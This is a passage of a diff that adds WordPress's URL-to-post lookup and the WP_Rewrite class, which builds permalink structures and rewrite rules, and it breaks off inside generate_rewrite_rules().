+		$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '' ;
+		$url = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
+	}
+
+	// Trim leading and lagging slashes
+	$url = trim($url, '/');
+
+	$request = $url;
+	$post_type_query_vars = array();
+
+	foreach ( get_post_types( array() , 'objects' ) as $post_type => $t ) {
+		if ( ! empty( $t->query_var ) )
+			$post_type_query_vars[ $t->query_var ] = $post_type;
+	}
+
+	// Look for matches.
+	$request_match = $request;
+	foreach ( (array)$rewrite as $match => $query) {
+
+		// If the requesting file is the anchor of the match, prepend it
+		// to the path info.
+		if ( !empty($url) && ($url != $request) && (strpos($match, $url) === 0) )
+			$request_match = $url . '/' . $request;
+
+		if ( preg_match("#^$match#", $request_match, $matches) ) {
+
+			if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
+				// This is a verbose page match, let's check to be sure about it.
+				if ( ! get_page_by_path( $matches[ $varmatch[1] ] ) )
+					continue;
+			}
+
+			// Got a match.
+			// Trim the query of everything up to the '?'.
+			$query = preg_replace("!^.+\?!", '', $query);
+
+			// Substitute the substring matches into the query.
+			$query = addslashes(WP_MatchesMapRegex::apply($query, $matches));
+
+			// Filter out non-public query vars
+			global $wp;
+			parse_str( $query, $query_vars );
+			$query = array();
+			foreach ( (array) $query_vars as $key => $value ) {
+				if ( in_array( $key, $wp->public_query_vars ) ){
+					$query[$key] = $value;
+					if ( isset( $post_type_query_vars[$key] ) ) {
+						$query['post_type'] = $post_type_query_vars[$key];
+						$query['name'] = $value;
+					}
+				}
+			}
+
+			// Do the query
+			$query = new WP_Query( $query );
+			if ( ! empty( $query->posts ) && $query->is_singular )
+				return $query->post->ID;
+			else
+				return 0;
+		}
+	}
+	return 0;
+}
+
+/**
+ * WordPress Rewrite Component.
+ *
+ * The WordPress Rewrite class writes the rewrite module rules to the .htaccess
+ * file. It also handles parsing the request to get the correct setup for the
+ * WordPress Query class.
+ *
+ * The Rewrite along with WP class function as a front controller for WordPress.
+ * You can add rules to trigger your page view and processing using this
+ * component. The full functionality of a front controller does not exist,
+ * meaning you can't define how the template files load based on the rewrite
+ * rules.
+ *
+ * @since 1.5.0
+ */
+class WP_Rewrite {
+	/**
+	 * Permalink structure for posts.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $permalink_structure;
+
+	/**
+	 * Whether to add trailing slashes.
+	 *
+	 * @since 2.2.0
+	 * @access private
+	 * @var bool
+	 */
+	var $use_trailing_slashes;
+
+	/**
+	 * Base for the author permalink structure (example.com/$author_base/authorname).
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $author_base = 'author';
+
+	/**
+	 * Permalink structure for author archives.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $author_structure;
+
+	/**
+	 * Permalink structure for date archives.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $date_structure;
+
+	/**
+	 * Permalink structure for pages.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $page_structure;
+
+	/**
+	 * Base of the search permalink structure (example.com/$search_base/query).
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_base = 'search';
+
+	/**
+	 * Permalink structure for searches.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $search_structure;
+
+	/**
+	 * Comments permalink base.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $comments_base = 'comments';
+
+	/**
+	 * Pagination permalink base.
+	 *
+	 * @since 3.1.0
+	 * @access private
+	 * @var string
+	 */
+	var $pagination_base = 'page';
+
+	/**
+	 * Feed permalink base.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $feed_base = 'feed';
+
+	/**
+	 * Comments feed permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $comments_feed_structure;
+
+	/**
+	 * Feed request permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $feed_structure;
+
+	/**
+	 * The static portion of the post permalink structure.
+	 *
+	 * If the permalink structure is "/archive/%post_id%" then the front
+	 * is "/archive/". If the permalink structure is "/%year%/%postname%/"
+	 * then the front is "/".
+	 *
+	 * @see WP_Rewrite::init()
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $front;
+
+	/**
+	 * The prefix for all permalink structures.
+	 *
+	 * If PATHINFO/index permalinks are in use then the root is the value of
+	 * {@link WP_Rewrite::$index} with a trailing slash appended. Otherwise
+	 * the root will be empty.
+	 *
+	 * @see WP_Rewrite::init()
+	 * @see WP_Rewrite::using_index_permalinks()
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $root = '';
+
+	/**
+	 * The name of the index file which is the entry point to all requests.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var string
+	 */
+	public $index = 'index.php';
+
+	/**
+	 * Variable name to use for regex matches in the rewritten query.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $matches = '';
+
+	/**
+	 * Rewrite rules to match against the request to find the redirect or query.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rules;
+
+	/**
+	 * Additional rules added external to the rewrite class.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_rules = array();
+
+	/**
+	 * Additional rules that belong at the beginning to match first.
+	 *
+	 * Those not generated by the class, see add_rewrite_rule().
+	 *
+	 * @since 2.3.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_rules_top = array();
+
+	/**
+	 * Rules that don't redirect to WordPress' index.php.
+	 *
+	 * These rules are written to the mod_rewrite portion of the .htaccess,
+	 * and are added by {@link add_external_rule()}.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $non_wp_rules = array();
+
+	/**
+	 * Extra permalink structures, e.g. categories, added by {@link add_permastruct()}.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $extra_permastructs = array();
+
+	/**
+	 * Endpoints (like /trackback/) added by {@link add_rewrite_endpoint()}.
+	 *
+	 * @since 2.1.0
+	 * @access private
+	 * @var array
+	 */
+	var $endpoints;
+
+	/**
+	 * Whether to write every mod_rewrite rule for WordPress into the .htaccess file.
+	 *
+	 * This is off by default, turning it on might print a lot of rewrite rules
+	 * to the .htaccess file.
+	 *
+	 * @see WP_Rewrite::mod_rewrite_rules()
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	public $use_verbose_rules = false;
+
+	/**
+	 * Could post permalinks be confused with those of pages?
+	 *
+	 * If the first rewrite tag in the post permalink structure is one that could
+	 * also match a page name (e.g. %postname% or %author%) then this flag is
+	 * set to true. Prior to WordPress 3.3 this flag indicated that every page
+	 * would have a set of rules added to the top of the rewrite rules array.
+	 * Now it tells {@link WP::parse_request()} to check if a URL matching the
+	 * page permastruct is actually a page before accepting it.
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/16687
+	 * @see WP_Rewrite::init()
+	 * @since 2.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $use_verbose_page_rules = true;
+
+	/**
+	 * Rewrite tags that can be used in permalink structures.
+	 *
+	 * These are translated into the regular expressions stored in
+	 * {@link WP_Rewrite::$rewritereplace} and are rewritten to the
+	 * query variables listed in {@link WP_Rewrite::$queryreplace}.
+	 *
+	 * Additional tags can be added with {@link add_rewrite_tag()}.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rewritecode = array(
+		'%year%',
+		'%monthnum%',
+		'%day%',
+		'%hour%',
+		'%minute%',
+		'%second%',
+		'%postname%',
+		'%post_id%',
+		'%author%',
+		'%pagename%',
+		'%search%'
+	);
+
+	/**
+	 * Regular expressions to be substituted into rewrite rules in place
+	 * of rewrite tags, see {@link WP_Rewrite::$rewritecode}.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $rewritereplace = array(
+		'([0-9]{4})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([0-9]{1,2})',
+		'([^/]+)',
+		'([0-9]+)',
+		'([^/]+)',
+		'([^/]+?)',
+		'(.+)'
+	);
+
+	/**
+	 * Query variables that rewrite tags map to, see {@link WP_Rewrite::$rewritecode}.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $queryreplace = array(
+		'year=',
+		'monthnum=',
+		'day=',
+		'hour=',
+		'minute=',
+		'second=',
+		'name=',
+		'p=',
+		'author_name=',
+		'pagename=',
+		's='
+	);
+
+	/**
+	 * Supported default feeds.
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' );
+
+	/**
+	 * Whether permalinks are being used.
+	 *
+	 * This can be either rewrite module or permalink in the HTTP query string.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool True, if permalinks are enabled.
+	 */
+	public function using_permalinks() {
+		return ! empty($this->permalink_structure);
+	}
+
+	/**
+	 * Whether permalinks are being used and rewrite module is not enabled.
+	 *
+	 * Means that permalink links are enabled and index.php is in the URL.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	public function using_index_permalinks() {
+		if ( empty($this->permalink_structure) )
+			return false;
+
+		// If the index is not in the permalink, we're using mod_rewrite.
+		if ( preg_match('#^/*' . $this->index . '#', $this->permalink_structure) )
+			return true;
+
+		return false;
+	}
+
+	/**
+	 * Whether permalinks are being used and rewrite module is enabled.
+	 *
+	 * Using permalinks and index.php is not in the URL.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool
+	 */
+	public function using_mod_rewrite_permalinks() {
+		if ( $this->using_permalinks() && ! $this->using_index_permalinks() )
+			return true;
+		else
+			return false;
+	}
+
+	/**
+	 * Index for matches for usage in preg_*() functions.
+	 *
+	 * The format of the string is, with empty matches property value, '$NUM'.
+	 * The 'NUM' will be replaced with the value in the $number parameter. With
+	 * the matches property not empty, the value of the returned string will
+	 * contain that value of the matches property. The format then will be
+	 * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the
+	 * value of the $number parameter.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param int $number Index number.
+	 * @return string
+	 */
+	public function preg_index($number) {
+		$match_prefix = '$';
+		$match_suffix = '';
+
+		if ( ! empty($this->matches) ) {
+			$match_prefix = '$' . $this->matches . '[';
+			$match_suffix = ']';
+		}
+
+		return "$match_prefix$number$match_suffix";
+	}
+
+	/**
+	 * Retrieve all page and attachments for pages URIs.
+	 *
+	 * The attachments are for those that have pages as parents and will be
+	 * retrieved.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 *
+	 * @return array Array of page URIs as first element and attachment URIs as second element.
+	 */
+	public function page_uri_index() {
+		global $wpdb;
+
+		//get pages in order of hierarchy, i.e. children after parents
+		$pages = $wpdb->get_results("SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'");
+		$posts = get_page_hierarchy( $pages );
+
+		// If we have no pages get out quick
+		if ( !$posts )
+			return array( array(), array() );
+
+		//now reverse it, because we need parents after children for rewrite rules to work properly
+		$posts = array_reverse($posts, true);
+
+		$page_uris = array();
+		$page_attachment_uris = array();
+
+		foreach ( $posts as $id => $post ) {
+			// URL => page name
+			$uri = get_page_uri($id);
+			$attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id ));
+			if ( !empty($attachments) ) {
+				foreach ( $attachments as $attachment ) {
+					$attach_uri = get_page_uri($attachment->ID);
+					$page_attachment_uris[$attach_uri] = $attachment->ID;
+				}
+			}
+
+			$page_uris[$uri] = $id;
+		}
+
+		return array( $page_uris, $page_attachment_uris );
+	}
+
+	/**
+	 * Retrieve all of the rewrite rules for pages.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array
+	 */
+	public function page_rewrite_rules() {
+		// the extra .? at the beginning prevents clashes with other regular expressions in the rules array
+		$this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' );
+
+		return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false );
+	}
+
+	/**
+	 * Retrieve date permalink structure, with year, month, and day.
+	 *
+	 * The permalink structure for the date, if not set already depends on the
+	 * permalink structure. It can be one of three formats. The first is year,
+	 * month, day; the second is day, month, year; and the last format is month,
+	 * day, year. These are matched against the permalink structure for which
+	 * one is used. If none matches, then the default will be used, which is
+	 * year, month, day.
+	 *
+	 * Prevents post ID and date permalinks from overlapping. In the case of
+	 * post_id, the date permalink will be prepended with front permalink with
+	 * 'date/' before the actual permalink to form the complete date permalink
+	 * structure.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False on no permalink structure. Date permalink structure.
+	 */
+	public function get_date_permastruct() {
+		if ( isset($this->date_structure) )
+			return $this->date_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->date_structure = '';
+			return false;
+		}
+
+		// The date permalink must have year, month, and day separated by slashes.
+		$endians = array('%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%');
+
+		$this->date_structure = '';
+		$date_endian = '';
+
+		foreach ( $endians as $endian ) {
+			if ( false !== strpos($this->permalink_structure, $endian) ) {
+				$date_endian= $endian;
+				break;
+			}
+		}
+
+		if ( empty($date_endian) )
+			$date_endian = '%year%/%monthnum%/%day%';
+
+		// Do not allow the date tags and %post_id% to overlap in the permalink
+		// structure. If they do, move the date tags to $front/date/.
+		$front = $this->front;
+		preg_match_all('/%.+?%/', $this->permalink_structure, $tokens);
+		$tok_index = 1;
+		foreach ( (array) $tokens[0] as $token) {
+			if ( '%post_id%' == $token && ($tok_index <= 3) ) {
+				$front = $front . 'date/';
+				break;
+			}
+			$tok_index++;
+		}
+
+		$this->date_structure = $front . $date_endian;
+
+		return $this->date_structure;
+	}
+
+	/**
+	 * Retrieve the year permalink structure without month and day.
+	 *
+	 * Gets the date permalink structure and strips out the month and day
+	 * permalink structures.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return false|string False on failure. Year structure on success.
+	 */
+	public function get_year_permastruct() {
+		$structure = $this->get_date_permastruct();
+
+		if ( empty($structure) )
+			return false;
+
+		$structure = str_replace('%monthnum%', '', $structure);
+		$structure = str_replace('%day%', '', $structure);
+
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieve the month permalink structure without day and with year.
+	 *
+	 * Gets the date permalink structure and strips out the day permalink
+	 * structures. Keeps the year permalink structure.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return false|string False on failure. Year/Month structure on success.
+	 */
+	public function get_month_permastruct() {
+		$structure = $this->get_date_permastruct();
+
+		if ( empty($structure) )
+			return false;
+
+		$structure = str_replace('%day%', '', $structure);
+
+		$structure = preg_replace('#/+#', '/', $structure);
+
+		return $structure;
+	}
+
+	/**
+	 * Retrieve the day permalink structure with month and year.
+	 *
+	 * Keeps date permalink structure with all year, month, and day.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False on failure. Year/Month/Day structure on success.
+	 */
+	public function get_day_permastruct() {
+		return $this->get_date_permastruct();
+	}
+
+	/**
+	 * Retrieve the permalink structure for categories.
+	 *
+	 * If the category_base property has no value, then the category structure
+	 * will have the front property value, followed by 'category', and finally
+	 * '%category%'. If it does, then the root property will be used, along with
+	 * the category_base property value.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Category permalink structure.
+	 */
+	public function get_category_permastruct() {
+		return $this->get_extra_permastruct('category');
+	}
+
+	/**
+	 * Retrieve the permalink structure for tags.
+	 *
+	 * If the tag_base property has no value, then the tag structure will have
+	 * the front property value, followed by 'tag', and finally '%tag%'. If it
+	 * does, then the root property will be used, along with the tag_base
+	 * property value.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 *
+	 * @return bool|string False on failure. Tag permalink structure.
+	 */
+	public function get_tag_permastruct() {
+		return $this->get_extra_permastruct('post_tag');
+	}
+
+	/**
+	 * Retrieve extra permalink structure by name.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 *
+	 * @param string $name Permalink structure name.
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	public function get_extra_permastruct($name) {
+		if ( empty($this->permalink_structure) )
+			return false;
+
+		if ( isset($this->extra_permastructs[$name]) )
+			return $this->extra_permastructs[$name]['struct'];
+
+		return false;
+	}
+
+	/**
+	 * Retrieve the author permalink structure.
+	 *
+	 * The permalink structure is front property, author base, and finally
+	 * '/%author%'. Will set the author_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_author_permastruct() {
+		if ( isset($this->author_structure) )
+			return $this->author_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->author_structure = '';
+			return false;
+		}
+
+		$this->author_structure = $this->front . $this->author_base . '/%author%';
+
+		return $this->author_structure;
+	}
+
+	/**
+	 * Retrieve the search permalink structure.
+	 *
+	 * The permalink structure is root property, search base, and finally
+	 * '/%search%'. Will set the search_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_search_permastruct() {
+		if ( isset($this->search_structure) )
+			return $this->search_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->search_structure = '';
+			return false;
+		}
+
+		$this->search_structure = $this->root . $this->search_base . '/%search%';
+
+		return $this->search_structure;
+	}
+
+	/**
+	 * Retrieve the page permalink structure.
+	 *
+	 * The permalink structure is root property, and '%pagename%'. Will set the
+	 * page_structure property and then return it without attempting to set the
+	 * value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_page_permastruct() {
+		if ( isset($this->page_structure) )
+			return $this->page_structure;
+
+		if (empty($this->permalink_structure)) {
+			$this->page_structure = '';
+			return false;
+		}
+
+		$this->page_structure = $this->root . '%pagename%';
+
+		return $this->page_structure;
+	}
+
+	/**
+	 * Retrieve the feed permalink structure.
+	 *
+	 * The permalink structure is root property, feed base, and finally
+	 * '/%feed%'. Will set the feed_structure property and then return it
+	 * without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|false False if not found. Permalink structure string.
+	 */
+	public function get_feed_permastruct() {
+		if ( isset($this->feed_structure) )
+			return $this->feed_structure;
+
+		if ( empty($this->permalink_structure) ) {
+			$this->feed_structure = '';
+			return false;
+		}
+
+		$this->feed_structure = $this->root . $this->feed_base . '/%feed%';
+
+		return $this->feed_structure;
+	}
+
+	/**
+	 * Retrieve the comment feed permalink structure.
+	 *
+	 * The permalink structure is root property, comment base property, feed
+	 * base and finally '/%feed%'. Will set the comment_feed_structure property
+	 * and then return it without attempting to set the value again.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string|bool False if not found. Permalink structure string.
+	 */
+	public function get_comment_feed_permastruct() {
+		if ( isset($this->comment_feed_structure) )
+			return $this->comment_feed_structure;
+
+		if (empty($this->permalink_structure)) {
+			$this->comment_feed_structure = '';
+			return false;
+		}
+
+		$this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%';
+
+		return $this->comment_feed_structure;
+	}
+
+	/**
+	 * Add or update existing rewrite tags (e.g. %postname%).
+	 *
+	 * If the tag already exists, replace the existing pattern and query for
+	 * that tag, otherwise add the new tag.
+	 *
+	 * @see WP_Rewrite::$rewritecode
+	 * @see WP_Rewrite::$rewritereplace
+	 * @see WP_Rewrite::$queryreplace
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $tag Name of the rewrite tag to add or update.
+	 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
+	 * @param string $query String to append to the rewritten query. Must end in '='.
+	 */
+	public function add_rewrite_tag( $tag, $regex, $query ) {
+		$position = array_search( $tag, $this->rewritecode );
+		if ( false !== $position && null !== $position ) {
+			$this->rewritereplace[ $position ] = $regex;
+			$this->queryreplace[ $position ] = $query;
+		} else {
+			$this->rewritecode[] = $tag;
+			$this->rewritereplace[] = $regex;
+			$this->queryreplace[] = $query;
+		}
+	}
+
+	/**
+	 * Generate rewrite rules from a permalink structure.
+	 *
+	 * The main WP_Rewrite function for building the rewrite rule list. The
+	 * contents of the function is a mix of black magic and regular expressions,
+	 * so best just ignore the contents and move to the parameters.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure The permalink structure.
+	 * @param int $ep_mask Endpoint mask defining what endpoints are added to the structure. Default is EP_NONE.
+	 * @param bool $paged Should archive pagination rules be added for the structure? Default is true.
+	 * @param bool $feed Should feed rewrite rules be added for the structure? Default is true.
+	 * @param bool $forcomments Should the feed rules be a query for a comments feed? Default is false.
+	 * @param bool $walk_dirs Should the 'directories' making up the structure be walked over and rewrite rules
+	 *                        built for each in turn? Default is true.
+	 * @param bool $endpoints Should endpoints be applied to the generated rewrite rules? Default is true.
+	 * @return array Rewrite rule list.
+	 */
+	public function generate_rewrite_rules($permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true) {
+		//build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/?
+		$feedregex2 = '';
+		foreach ( (array) $this->feeds as $feed_name)
+			$feedregex2 .= $feed_name . '|';
+		$feedregex2 = '(' . trim($feedregex2, '|') . ')/?$';
+
+		//$feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom
+		//and <permalink>/atom are both possible
+		$feedregex = $this->feed_base . '/' . $feedregex2;
+
+		//build a regex to match the trackback and page/xx parts of URLs
+		$trackbackregex = 'trackback/?$';
+		$pageregex = $this->pagination_base . '/?([0-9]{1,})/?$';
+		$commentregex = 'comment-page-([0-9]{1,})/?$';
+
+		//build up an array of endpoint regexes to append => queries to append
+		if ( $endpoints ) {
+			$ep_query_append = array ();
+			foreach ( (array) $this->endpoints as $endpoint) {
+				//match everything after the endpoint name, but allow for nothing to appear there
+				$epmatch = $endpoint[1] . '(/(.*))?/?$';
+				//this will be appended on to the rest of the query for each dir
+				$epquery = '&' . $endpoint[2] . '=';
+				$ep_query_append[$epmatch] = array ( $endpoint[0], $epquery );
+			}
+		}
+
+		//get everything up to the first rewrite tag
+		$front = substr($permalink_structure, 0, strpos($permalink_structure, '%'));
+		//build an array of the tags (note that said array ends up being in $tokens[0])
+		preg_match_all('/%.+?%/', $permalink_structure, $tokens);
+
+		$num_tokens = count($tokens[0]);
+
+		$index = $this->index; //probably 'index.php'
+		$feedindex = $index;
+		$trackbackindex = $index;
+		//build a list from the rewritecode and queryreplace arrays, that will look something like
+		//tagname=$matches[i] where i is the current $i
+		for ( $i = 0; $i < $num_tokens; ++$i ) {
+			if ( 0 < $i )
+				$queries[$i] = $queries[$i - 1] . '&';
+			else
+				$queries[$i] = '';
+
+			$query_token = str_replace($this->rewritecode, $this->queryreplace, $tokens[0][$i]) . $this->preg_index($i+1);
+			$queries[$i] .= $query_token;
+		}
+
+		//get the structure, minus any cruft (stuff that isn't tags) at the front
+		$structure = $permalink_structure;
+		if ( $front != '/' )
+			$structure = str_replace($front, '', $structure);
+
+		//create a list of dirs to walk over, making rewrite rules for each level
+		//so for example, a $structure of /%year%/%monthnum%/%postname% would create
+		//rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname%
+		$structure = trim($structure, '/');
+		$dirs = $walk_dirs ? explode('/', $structure) : array( $structure );
+		$num_dirs = count($dirs);
+
+		//strip slashes from the front of $front
+		$front = preg_replace('|^/+|', '', $front);
+
+		//the main workhorse loop
+		$post_rewrite = array();
+		$struct = $front;
+		for ( $j = 0; $j < $num_dirs; ++$j ) {
+			//get the struct for this dir, and trim slashes off the front
+			$struct .= $dirs[$j] . '/'; //accumulate. see comment near explode('/', $structure) above
+			$struct = ltrim($struct, '/');
+
+			//replace tags with regexes
+			$match = str_replace($this->rewritecode, $this->rewritereplace, $struct);
+
+			//make a list of tags, and store how many there are in $num_toks
+			$num_toks = preg_match_all('/%.+?%/', $struct, $toks);
+
+			//get the 'tagname=$matches[i]'
+			$query = ( isset($queries) && is_array($queries) && !empty($num_toks) ) ? $queries[$num_toks - 1] : '';
+
+			//set up $ep_mask_specific which is used to match more specific URL types
+			switch ( $dirs[$j] ) {
+				case '%year%':
+					$ep_mask_specific = EP_YEAR;
+					break;
+				case '%monthnum%':
+					$ep_mask_specific = EP_MONTH;
+					break;
+				case '%day%':
+					$ep_mask_specific = EP_DAY;
+					break;
+				default:
+					$ep_mask_specific = EP_NONE;
+			}
+
+			//create query for /page/xx
+			$pagematch = $match . $pageregex;
+			$pagequery = $index . '?' . $query . '&paged=' . $this->preg_index($num_toks + 1);
+
+			//create query for /comment-page-xx
+			$commentmatch = $match . $commentregex;
+			$commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index($num_toks + 1);
+
+			if ( get_option('page_on_front') ) {
+				//create query for Root /comment-page-xx
+				$rootcommentmatch = $match . $commentregex;
+				$rootcommentquery = $index . '?' . $query . '&page_id=' . get_option('page_on_front') . '&cpage=' . $this->preg_index($num_toks + 1);
+			}
+
+			//create query for /feed/(feed|atom|rss|rss2|rdf)
+			$feedmatch = $match . $feedregex;
+			$feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			//create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex)
+			$feedmatch2 = $match . $feedregex2;
+			$feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1);
+
+			//if asked to, turn the feed queries into comment feed ones
+			if ( $forcomments ) {
+				$feedquery .= '&withcomments=1';
+				$feedquery2 .= '&withcomments=1';
+			}
+
+			//start creating the array of rewrites for this dir
+			$rewrite = array();
+			if ( $feed ) //...adding on /feed/ regexes => queries
+				$rewrite = array($feedmatch => $feedquery, $feedmatch2 => $feedquery2);
+			if ( $paged ) //...and /page/xx ones
+				$rewrite = array_merge($rewrite, array($pagematch => $pagequery));
+
+			//only on pages with comments add ../comment-page-xx/
+			if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask )
+				$rewrite = array_merge($rewrite, array($commentmatch => $commentquery));
+			else if ( EP_ROOT & $ep_mask && get_option('page_on_front') )
+				$rewrite = array_merge($rewrite, array($rootcommentmatch => $rootcommentquery));
+
+			//do endpoints
+			if ( $endpoints ) {
+				foreach ( (array) $ep_query_append as $regex => $ep) {
+					//add the endpoints on if the mask fits
+					if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific )
+						$rewrite[$match . $regex] = $index . '?' . $query . $ep[1] . $this->preg_index($num_toks + 2);
+				}
+			}
+
+			//if we've got some tags in this dir
+			if ( $num_toks ) {
+				$post = false;
+				$page = false;
+
+				//check to see if this dir is permalink-level: i.e. the structure specifies an
+				//individual post. Do this by checking it contains at least one of 1) post name,
+				//2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and
+				//minute all present). Set these flags now as we need them for the endpoints.
+				if ( strpos($struct, '%postname%') !== false
+						|| strpos($struct, '%post_id%') !== false
+						|| strpos($struct, '%pagename%') !== false
+						|| (strpos($struct, '%year%') !== false && strpos($struct, '%monthnum%') !== false && strpos($struct, '%day%') !== false && strpos($struct, '%hour%') !== false && strpos($struct, '%minute%') !== false && strpos($struct, '%second%') !== false)
+						) {
+					$post = true;
+					if ( strpos($struct, '%pagename%') !== false )
+						$page = true;
+				}
+
+				if ( ! $post ) {
+					// For custom post types, we need to add on endpoints as well.
+					foreach ( get_post_types( array('_builtin' => false ) ) as $ptype ) {
+						if ( strpos($struct, "%$ptype%") !== false ) {
+							$post = true;
+							$page = is_post_type_hierarchical( $ptype ); // This is for page style attachment url's
+							break;
+						}
+					}
+				}
+
+				//if we're creating rules for a permalink, do all the endpoints like attachments etc
+				if ( $post ) {
+					//create query and regex for trackback
+					$trackbackmatch = $match . $trackbackregex;
+					$trackbackquery = $trackbackindex . '?' . $query . '&tb=1';
+					//trim slashes from the end of the regex for this dir
+					$match = rtrim($match, '/');
+					//get rid of brackets
+					$submatchbase = str_replace( array('(', ')'), '', $match);
+
+					//add a rule for at attachments, which take the form of <permalink>/some-text
+					$sub1 = $submatchbase . '/([^/]+)/';
+					$sub1tb = $sub1 . $trackbackregex; //add trackback regex <permalink>/trackback/...
+					$sub1feed = $sub1 . $feedregex; //and <permalink>/feed/(atom|...)
+					$sub1feed2 = $sub1 . $feedregex2; //and <permalink>/(feed|atom...)
+					$sub1comment = $sub1 . $commentregex; //and <permalink>/comment-page-xx
+
+					//add another rule to match attachments in the explicit form:
+					//<permalink>/attachment/some-text
+					$sub2 = $submatchbase . '/attachment/([^/]+)/';
+					$sub2tb = $sub2 . $trackbackregex; //and add trackbacks <permalink>/attachment/trackback
+					$sub2feed = $sub2 . $feedregex;    //feeds, <permalink>/attachment/feed/(atom|...)
